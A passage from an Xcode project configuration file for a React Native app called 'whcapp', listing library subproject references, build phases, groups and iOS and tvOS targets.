\"../node_modules/react-native/Libraries/ActionSheetIOS/RCTActionSheet.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t00C302B51ABCB90400DB3ED1 /* RCTGeolocation.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTGeolocation.xcodeproj; path = \"../node_modules/react-native/Libraries/Geolocation/RCTGeolocation.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t00C302BB1ABCB91800DB3ED1 /* RCTImage.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTImage.xcodeproj; path = \"../node_modules/react-native/Libraries/Image/RCTImage.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t00C302D31ABCB9D200DB3ED1 /* RCTNetwork.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTNetwork.xcodeproj; path = \"../node_modules/react-native/Libraries/Network/RCTNetwork.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t00C302DF1ABCB9EE00DB3ED1 /* RCTVibration.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTVibration.xcodeproj; path = \"../node_modules/react-native/Libraries/Vibration/RCTVibration.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t00E356EE1AD99517003FC87E /* whcappTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = whcappTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t00E356F11AD99517003FC87E /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"<group>\"; };\n\t\t00E356F21AD99517003FC87E /* whcappTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = whcappTests.m; sourceTree = \"<group>\"; };\n\t\t139105B61AF99BAD00B5F7CC /* RCTSettings.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTSettings.xcodeproj; path = \"../node_modules/react-native/Libraries/Settings/RCTSettings.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTWebSocket.xcodeproj; path = \"../node_modules/react-native/Libraries/WebSocket/RCTWebSocket.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t13B07F961A680F5B00A75B9A /* whcapp.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = whcapp.app; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t13B07FAF1A68108700A75B9A /* AppDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = AppDelegate.h; path = whcapp/AppDelegate.h; sourceTree = \"<group>\"; };\n\t\t13B07FB01A68108700A75B9A /* AppDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = AppDelegate.m; path = whcapp/AppDelegate.m; sourceTree = \"<group>\"; };\n\t\t13B07FB21A68108700A75B9A /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = Base; path = Base.lproj/LaunchScreen.xib; sourceTree = \"<group>\"; };\n\t\t13B07FB51A68108700A75B9A /* Images.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; name = Images.xcassets; path = whcapp/Images.xcassets; sourceTree = \"<group>\"; };\n\t\t13B07FB61A68108700A75B9A /* Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; name = Info.plist; path = whcapp/Info.plist; sourceTree = \"<group>\"; };\n\t\t13B07FB71A68108700A75B9A /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = main.m; path = whcapp/main.m; sourceTree = \"<group>\"; };\n\t\t146833FF1AC3E56700842450 /* React.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = React.xcodeproj; path = \"../node_modules/react-native/React/React.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t2D02E47B1E0B4A5D006451C7 /* whcapp-tvOS.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = \"whcapp-tvOS.app\"; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t2D02E4901E0B4A5D006451C7 /* whcapp-tvOSTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = \"whcapp-tvOSTests.xctest\"; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t5E91572D1DD0AC6500FF2AA8 /* RCTAnimation.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTAnimation.xcodeproj; path = \"../node_modules/react-native/Libraries/NativeAnimation/RCTAnimation.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t78C398B01ACF4ADC00677621 /* RCTLinking.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTLinking.xcodeproj; path = \"../node_modules/react-native/Libraries/LinkingIOS/RCTLinking.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\t832341B01AAA6A8300B99B32 /* RCTText.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTText.xcodeproj; path = \"../node_modules/react-native/Libraries/Text/RCTText.xcodeproj\"; sourceTree = \"<group>\"; };\n\t\tADBDB91F1DFEBF0600ED6528 /* RCTBlob.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = RCTBlob.xcodeproj; path = \"../node_modules/react-native/Libraries/Blob/RCTBlob.xcodeproj\"; sourceTree = \"<group>\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\t00E356EB1AD99517003FC87E /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t140ED2AC1D01E1AD002B40FF /* libReact.a in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t13B07F8C1A680F5B00A75B9A /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tADBDB9381DFEBF1600ED6528 /* libRCTBlob.a in Frameworks */,\n\t\t\t\t5E9157361DD0AC6A00FF2AA8 /* libRCTAnimation.a in Frameworks */,\n\t\t\t\t146834051AC3E58100842450 /* libReact.a in Frameworks */,\n\t\t\t\t5E9157361DD0AC6A00FF2AA8 /* libRCTAnimation.a in Frameworks */,\n\t\t\t\t00C302E51ABCBA2D00DB3ED1 /* libRCTActionSheet.a in Frameworks */,\n\t\t\t\t00C302E71ABCBA2D00DB3ED1 /* libRCTGeolocation.a in Frameworks */,\n\t\t\t\t00C302E81ABCBA2D00DB3ED1 /* libRCTImage.a in Frameworks */,\n\t\t\t\t133E29F31AD74F7200F7D852 /* libRCTLinking.a in Frameworks */,\n\t\t\t\t00C302E91ABCBA2D00DB3ED1 /* libRCTNetwork.a in Frameworks */,\n\t\t\t\t139105C61AF99C1200B5F7CC /* libRCTSettings.a in Frameworks */,\n\t\t\t\t832341BD1AAA6AB300B99B32 /* libRCTText.a in Frameworks */,\n\t\t\t\t00C302EA1ABCBA2D00DB3ED1 /* libRCTVibration.a in Frameworks */,\n\t\t\t\t139FDEF61B0652A700C62182 /* libRCTWebSocket.a in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t2D02E4781E0B4A5D006451C7 /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t2D02E4C91E0B4AEC006451C7 /* libReact.a in Frameworks */,\n\t\t\t\t2D02E4C21E0B4AEC006451C7 /* libRCTAnimation.a in Frameworks */,\n\t\t\t\t2D02E4C31E0B4AEC006451C7 /* libRCTImage-tvOS.a in Frameworks */,\n\t\t\t\t2D02E4C41E0B4AEC006451C7 /* libRCTLinking-tvOS.a in Frameworks */,\n\t\t\t\t2D02E4C51E0B4AEC006451C7 /* libRCTNetwork-tvOS.a in Frameworks */,\n\t\t\t\t2D02E4C61E0B4AEC006451C7 /* libRCTSettings-tvOS.a in Frameworks */,\n\t\t\t\t2D02E4C71E0B4AEC006451C7 /* libRCTText-tvOS.a in Frameworks */,\n\t\t\t\t2D02E4C81E0B4AEC006451C7 /* libRCTWebSocket-tvOS.a in Frameworks */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t2D02E48D1E0B4A5D006451C7 /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\t00C302A81ABCB8CE00DB3ED1 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00C302AC1ABCB8CE00DB3ED1 /* libRCTActionSheet.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t00C302B61ABCB90400DB3ED1 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00C302BA1ABCB90400DB3ED1 /* libRCTGeolocation.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t00C302BC1ABCB91800DB3ED1 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00C302C01ABCB91800DB3ED1 /* libRCTImage.a */,\n\t\t\t\t3DAD3E841DF850E9000B6D8A /* libRCTImage-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t00C302D41ABCB9D200DB3ED1 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00C302DC1ABCB9D200DB3ED1 /* libRCTNetwork.a */,\n\t\t\t\t3DAD3E8C1DF850E9000B6D8A /* libRCTNetwork-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t00C302E01ABCB9EE00DB3ED1 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00C302E41ABCB9EE00DB3ED1 /* libRCTVibration.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t00E356EF1AD99517003FC87E /* whcappTests */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00E356F21AD99517003FC87E /* whcappTests.m */,\n\t\t\t\t00E356F01AD99517003FC87E /* Supporting Files */,\n\t\t\t);\n\t\t\tpath = whcappTests;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t00E356F01AD99517003FC87E /* Supporting Files */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t00E356F11AD99517003FC87E /* Info.plist */,\n\t\t\t);\n\t\t\tname = \"Supporting Files\";\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t139105B71AF99BAD00B5F7CC /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t139105C11AF99BAD00B5F7CC /* libRCTSettings.a */,\n\t\t\t\t3DAD3E901DF850E9000B6D8A /* libRCTSettings-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t139FDEE71B06529A00C62182 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t139FDEF41B06529B00C62182 /* libRCTWebSocket.a */,\n\t\t\t\t3DAD3E991DF850E9000B6D8A /* libRCTWebSocket-tvOS.a */,\n\t\t\t\tFE26C7951FC16CCB0067ECFB /* libfishhook.a */,\n\t\t\t\tFE26C7971FC16CCB0067ECFB /* libfishhook-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t13B07FAE1A68108700A75B9A /* whcapp */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t008F07F21AC5B25A0029DE68 /* main.jsbundle */,\n\t\t\t\t13B07FAF1A68108700A75B9A /* AppDelegate.h */,\n\t\t\t\t13B07FB01A68108700A75B9A /* AppDelegate.m */,\n\t\t\t\t13B07FB51A68108700A75B9A /* Images.xcassets */,\n\t\t\t\t13B07FB61A68108700A75B9A /* Info.plist */,\n\t\t\t\t13B07FB11A68108700A75B9A /* LaunchScreen.xib */,\n\t\t\t\t13B07FB71A68108700A75B9A /* main.m */,\n\t\t\t);\n\t\t\tname = whcapp;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t146834001AC3E56700842450 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t146834041AC3E56700842450 /* libReact.a */,\n\t\t\t\t3DAD3EA31DF850E9000B6D8A /* libReact.a */,\n\t\t\t\t3DAD3EA51DF850E9000B6D8A /* libyoga.a */,\n\t\t\t\t3DAD3EA71DF850E9000B6D8A /* libyoga.a */,\n\t\t\t\t3DAD3EA91DF850E9000B6D8A /* libcxxreact.a */,\n\t\t\t\t3DAD3EAB1DF850E9000B6D8A /* libcxxreact.a */,\n\t\t\t\t3DAD3EAD1DF850E9000B6D8A /* libjschelpers.a */,\n\t\t\t\t3DAD3EAF1DF850E9000B6D8A /* libjschelpers.a */,\n\t\t\t\tFEC2B7D01FFE281300E7E2F3 /* libthird-party.a */,\n\t\t\t\tFEC2B7D21FFE281300E7E2F3 /* libthird-party.a */,\n\t\t\t\tFEC2B7D41FFE281300E7E2F3 /* libdouble-conversion.a */,\n\t\t\t\tFEC2B7D61FFE281300E7E2F3 /* libdouble-conversion.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t5E91572E1DD0AC6500FF2AA8 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t5E9157331DD0AC6500FF2AA8 /* libRCTAnimation.a */,\n\t\t\t\t5E9157351DD0AC6500FF2AA8 /* libRCTAnimation.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t78C398B11ACF4ADC00677621 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t78C398B91ACF4ADC00677621 /* libRCTLinking.a */,\n\t\t\t\t3DAD3E881DF850E9000B6D8A /* libRCTLinking-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t832341AE1AAA6A7D00B99B32 /* Libraries */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t5E91572D1DD0AC6500FF2AA8 /* RCTAnimation.xcodeproj */,\n\t\t\t\t146833FF1AC3E56700842450 /* React.xcodeproj */,\n\t\t\t\t00C302A71ABCB8CE00DB3ED1 /* RCTActionSheet.xcodeproj */,\n\t\t\t\tADBDB91F1DFEBF0600ED6528 /* RCTBlob.xcodeproj */,\n\t\t\t\t00C302B51ABCB90400DB3ED1 /* RCTGeolocation.xcodeproj */,\n\t\t\t\t00C302BB1ABCB91800DB3ED1 /* RCTImage.xcodeproj */,\n\t\t\t\t78C398B01ACF4ADC00677621 /* RCTLinking.xcodeproj */,\n\t\t\t\t00C302D31ABCB9D200DB3ED1 /* RCTNetwork.xcodeproj */,\n\t\t\t\t139105B61AF99BAD00B5F7CC /* RCTSettings.xcodeproj */,\n\t\t\t\t832341B01AAA6A8300B99B32 /* RCTText.xcodeproj */,\n\t\t\t\t00C302DF1ABCB9EE00DB3ED1 /* RCTVibration.xcodeproj */,\n\t\t\t\t139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */,\n\t\t\t);\n\t\t\tname = Libraries;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t832341B11AAA6A8300B99B32 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t832341B51AAA6A8300B99B32 /* libRCTText.a */,\n\t\t\t\t3DAD3E941DF850E9000B6D8A /* libRCTText-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t83CBB9F61A601CBA00E9B192 = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t13B07FAE1A68108700A75B9A /* whcapp */,\n\t\t\t\t832341AE1AAA6A7D00B99B32 /* Libraries */,\n\t\t\t\t00E356EF1AD99517003FC87E /* whcappTests */,\n\t\t\t\t83CBBA001A601CBA00E9B192 /* Products */,\n\t\t\t);\n\t\t\tindentWidth = 2;\n\t\t\tsourceTree = \"<group>\";\n\t\t\ttabWidth = 2;\n\t\t\tusesTabs = 0;\n\t\t};\n\t\t83CBBA001A601CBA00E9B192 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t13B07F961A680F5B00A75B9A /* whcapp.app */,\n\t\t\t\t00E356EE1AD99517003FC87E /* whcappTests.xctest */,\n\t\t\t\t2D02E47B1E0B4A5D006451C7 /* whcapp-tvOS.app */,\n\t\t\t\t2D02E4901E0B4A5D006451C7 /* whcapp-tvOSTests.xctest */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tADBDB9201DFEBF0600ED6528 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tADBDB9271DFEBF0700ED6528 /* libRCTBlob.a */,\n\t\t\t\tFE26C7831FC16CCB0067ECFB /* libRCTBlob-tvOS.a */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXNativeTarget section */\n\t\t00E356ED1AD99517003FC87E /* whcappTests */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 00E357021AD99517003FC87E /* Build configuration list for PBXNativeTarget \"whcappTests\" */;\n\t\t\tbuildPhases = (\n\t\t\t\t18FDFACAC31576796AAAC43A /* Compile Binary Libraries */,\n\t\t\t\t00E356EA1AD99517003FC87E /* Sources */,\n\t\t\t\t00E356EB1AD99517003FC87E /* Frameworks */,\n\t\t\t\t00E356EC1AD99517003FC87E /* Resources */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t\t00E356F51AD99517003FC87E /* PBXTargetDependency */,\n\t\t\t);\n\t\t\tname = whcappTests;\n\t\t\tproductName = whcappTests;\n\t\t\tproductReference = 00E356EE1AD99517003FC87E /* whcappTests.xctest */;\n\t\t\tproductType = \"com.apple.product-type.bundle.unit-test\";\n\t\t};\n\t\t13B07F861A680F5B00A75B9A /* whcapp */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 13B07F931A680F5B00A75B9A /* Build configuration list for PBXNativeTarget \"whcapp\" */;\n\t\t\tbuildPhases = (\n\t\t\t\t13B07F871A680F5B00A75B9A /* Sources */,\n\t\t\t\t13B07F8C1A680F5B00A75B9A /* Frameworks */,\n\t\t\t\t13B07F8E1A680F5B00A75B9A /* Resources */,\n\t\t\t\t00DD1BFF1BD5951E006B06BC /* Bundle React Native code and images */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = whcapp;\n\t\t\tproductName = \"Hello World\";\n\t\t\tproductReference = 13B07F961A680F5B00A75B9A /* whcapp.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n\t\t2D02E47A1E0B4A5D006451C7 /* whcapp-tvOS */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 2D02E4BA1E0B4A5E006451C7 /* Build configuration list for PBXNativeTarget \"whcapp-tvOS\" */;\n\t\t\tbuildPhases = (\n\t\t\t\t2D02E4771E0B4A5D006451C7 /* Sources */,\n\t\t\t\t2D02E4781E0B4A5D006451C7 /* Frameworks */,\n\t\t\t\t2D02E4791E0B4A5D006451C7 /* Resources */,\n\t\t\t\t2D02E4CB1E0B4B27006451C7 /* Bundle React Native Code And Images */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = \"whcapp-tvOS\";\n\t\t\tproductName = \"whcapp-tvOS\";\n\t\t\tproductReference = 2D02E47B1E0B4A5D006451C7 /* whcapp-tvOS.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n\t\t2D02E48F1E0B4A5D006451C7 /* whcapp-tvOSTests */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 2D02E4BB1E0B4A5E006451C7 /* Build configuration list for PBXNativeTarget \"whcapp-tvOSTests\" */;\n\t\t\tbuildPhases = (\n\t\t\t\t2D02E48C1E0B4A5D006451C7 /* Sources */,\n\t\t\t\t2D02E48D1E0B4A5D006451C7 /* Frameworks */,\n\t\t\t\t2D02E48E1E0B4A5D006451C7 /* Resources */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t\t2D02E4921E0B4A5D006451C7 /* PBXTargetDependency */,\n\t\t\t);\n\t\t\tname = \"whcapp-tvOSTests\";\n\t\t\tproductName = \"whcapp-tvOSTests\";\n\t\t\tproductReference = 2D02E4901E0B4A5D006451C7 /* whcapp-tvOSTests.xctest */;\n\t\t\tproductType = \"com.apple.product-type.bundle.unit-test\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\t83CBB9F71A601CBA00E9B192 /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tLastUpgradeCheck = 0610;\n\t\t\t\tORGANIZATIONNAME = Facebook;\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\t00E356ED1AD99517003FC87E = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 6.2;\n\t\t\t\t\t\tTestTargetID = 13B07F861A680F5B00A75B9A;\n\t\t\t\t\t};\n\t\t\t\t\t13B07F861A680F5B00A75B9A = {\n\t\t\t\t\t\tDevelopmentTeam = XLRM4799CT;\n\t\t\t\t\t};\n\t\t\t\t\t2D02E47A1E0B4A5D006451C7 = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 8.2.1;\n\t\t\t\t\t\tProvisioningStyle = Automatic;\n\t\t\t\t\t};\n\t\t\t\t\t2D02E48F1E0B4A5D006451C7 = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 8.2.1;\n\t\t\t\t\t\tProvisioningStyle = Automatic;\n\t\t\t\t\t\tTestTargetID = 2D02E47A1E0B4A5D006451C7;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = 83CBB9FA1A601CBA00E9B192 /* Build configuration list for PBXProject \"whcapp\" */;\n\t\t\tcompatibilityVersion = \"Xcode 3.2\";\n\t\t\tdevelopmentRegion = English;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = 83CBB9F61A601CBA00E9B192;\n\t\t\tproductRefGroup = 83CBBA001A601CBA00E9B192 /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectReferences = (\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 00C302A81ABCB8CE00DB3ED1 /* Products */;\n\t\t\t\t\tProjectRef = 00C302A71ABCB8CE00DB3ED1 /* RCTActionSheet.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 5E91572E1DD0AC6500FF2AA8 /* Products */;\n\t\t\t\t\tProjectRef = 5E91572D1DD0AC6500FF2AA8 /* RCTAnimation.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = ADBDB9201DFEBF0600ED6528 /* Products */;\n\t\t\t\t\tProjectRef = ADBDB91F1DFEBF0600ED6528 /* RCTBlob.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 00C302B61ABCB90400DB3ED1 /* Products */;\n\t\t\t\t\tProjectRef = 00C302B51ABCB90400DB3ED1 /* RCTGeolocation.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 00C302BC1ABCB91800DB3ED1 /* Products */;\n\t\t\t\t\tProjectRef = 00C302BB1ABCB91800DB3ED1 /* RCTImage.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 78C398B11ACF4ADC00677621 /* Products */;\n\t\t\t\t\tProjectRef = 78C398B01ACF4ADC00677621 /* RCTLinking.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 00C302D41ABCB9D200DB3ED1 /* Products */;\n\t\t\t\t\tProjectRef = 00C302D31ABCB9D200DB3ED1 /* RCTNetwork.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 139105B71AF99BAD00B5F7CC /* Products */;\n\t\t\t\t\tProjectRef = 139105B61AF99BAD00B5F7CC /* RCTSettings.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 832341B11AAA6A8300B99B32 /* Products */;\n\t\t\t\t\tProjectRef = 832341B01AAA6A8300B99B32 /* RCTText.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 00C302E01ABCB9EE00DB3ED1 /* Products */;\n\t\t\t\t\tProjectRef = 00C302DF1ABCB9EE00DB3ED1 /* RCTVibration.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 139FDEE71B06529A00C62182 /* Products */;\n\t\t\t\t\tProjectRef = 139FDEE61B06529A00C62182 /* RCTWebSocket.xcodeproj */;\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProductGroup = 146834001AC3E56700842450 /* Products */;\n\t\t\t\t\tProjectRef = 146833FF1AC3E56700842450 /* React.xcodeproj */;\n\t\t\t\t},\n\t\t\t);\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\t13B07F861A680F5B00A75B9A /* whcapp */,\n\t\t\t\t00E356ED1AD99517003FC87E /* whcappTests */,\n\t\t\t\t2D02E47A1E0B4A5D006451C7 /* whcapp-tvOS */,\n\t\t\t\t2D02E48F1E0B4A5D006451C7 /* whcapp-tvOSTests */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXReferenceProxy section */\n\t\t00C302AC1ABCB8CE00DB3ED1 /* libRCTActionSheet.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTActionSheet.a;\n\t\t\tremoteRef = 00C302AB1ABCB8CE00DB3ED1 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t00C302BA1ABCB90400DB3ED1 /* libRCTGeolocation.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTGeolocation.a;\n\t\t\tremoteRef = 00C302B91ABCB90400DB3ED1 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t00C302C01ABCB91800DB3ED1 /* libRCTImage.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTImage.a;\n\t\t\tremoteRef = 00C302BF1ABCB91800DB3ED1 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t00C302DC1ABCB9D200DB3ED1 /* libRCTNetwork.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTNetwork.a;\n\t\t\tremoteRef = 00C302DB1ABCB9D200DB3ED1 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t00C302E41ABCB9EE00DB3ED1 /* libRCTVibration.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTVibration.a;\n\t\t\tremoteRef = 00C302E31ABCB9EE00DB3ED1 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t139105C11AF99BAD00B5F7CC /* libRCTSettings.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTSettings.a;\n\t\t\tremoteRef = 139105C01AF99BAD00B5F7CC /* PBXContainerItemProxy */;\n\t\t\tsourceTree = 